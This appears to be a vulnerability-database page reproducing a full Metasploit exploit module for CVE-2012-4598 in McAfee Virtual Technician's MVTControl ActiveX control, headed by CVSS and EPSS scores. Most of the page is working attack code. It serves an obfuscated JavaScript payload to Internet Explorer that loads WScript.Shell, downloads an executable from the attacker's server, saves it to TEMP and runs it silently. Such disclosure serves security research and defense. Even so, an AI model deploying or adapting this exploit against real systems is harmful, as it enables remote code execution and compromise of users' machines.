McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability

2012-04-3021:23:52

rgod, sinn3r <[email protected]>

www.rapid7.com

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.964

Percentile

99.6%

JSON

This module exploits a vulnerability found in McAfee Virtual Technician’s MVTControl. This ActiveX control can be abused by using the GetObject() function to load additional unsafe classes such as WScript.Shell, therefore allowing remote code execution under the context of the user.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in McAfee Virtual Technician's
        MVTControl.  This ActiveX control can be abused by using the GetObject() function
        to load additional unsafe classes such as WScript.Shell, therefore allowing remote
        code execution under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod',   #Initial discovery, Poc
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2012-4598' ],
          [ 'OSVDB', '81657'],
          [ 'EDB', '18805' ],
          [ 'URL', 'https://kc.mcafee.com/corporate/index?page=content&id=SB10028' ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'         => "none",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-04-30',
      'DefaultTarget'  => 0))
  end

  def exploit
    @payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
    super
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']

    if agent !~ /MSIE \d/
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    if request.uri =~ /\.exe$/
      return if ((p=regenerate_payload(cli))==nil)
      data = generate_payload_exe({:code=>p.encoded})
      print_status("Sending payload")
      send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
      return
    end

    # <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
    js = <<-JS
    var obj = new ActiveXObject("MVT.MVTControl.6300");

    var ws  = obj.GetObject("WScript.Shell");
    var ado = obj.GetObject("ADODB.Stream");
    var e   = ws.Environment("Process");
    var url = document.location + "/#{@payload_name}";
    var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";

    var xml = new ActiveXObject("Microsoft.XMLHTTP");
    xml.open("GET", url, false);
    xml.send(null);
    res = xml.responseBody;

    ado.Type = 1;
    ado.Mode = 3;
    ado.Open();
    ado.Write(res);
    ado.SaveToFile(tmp);
    ws.Run(tmp, 0);
    JS

    js = ::Rex::Exploitation::JSObfu.new(js)
    js.obfuscate(memory_sensitive: true)

    html = <<-EOS
    <html>
    <head>
    </head>
    <body>
    <script defer=defer>
    #{js}
    </script>
    </body>
    </html>
    EOS

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})

  end
end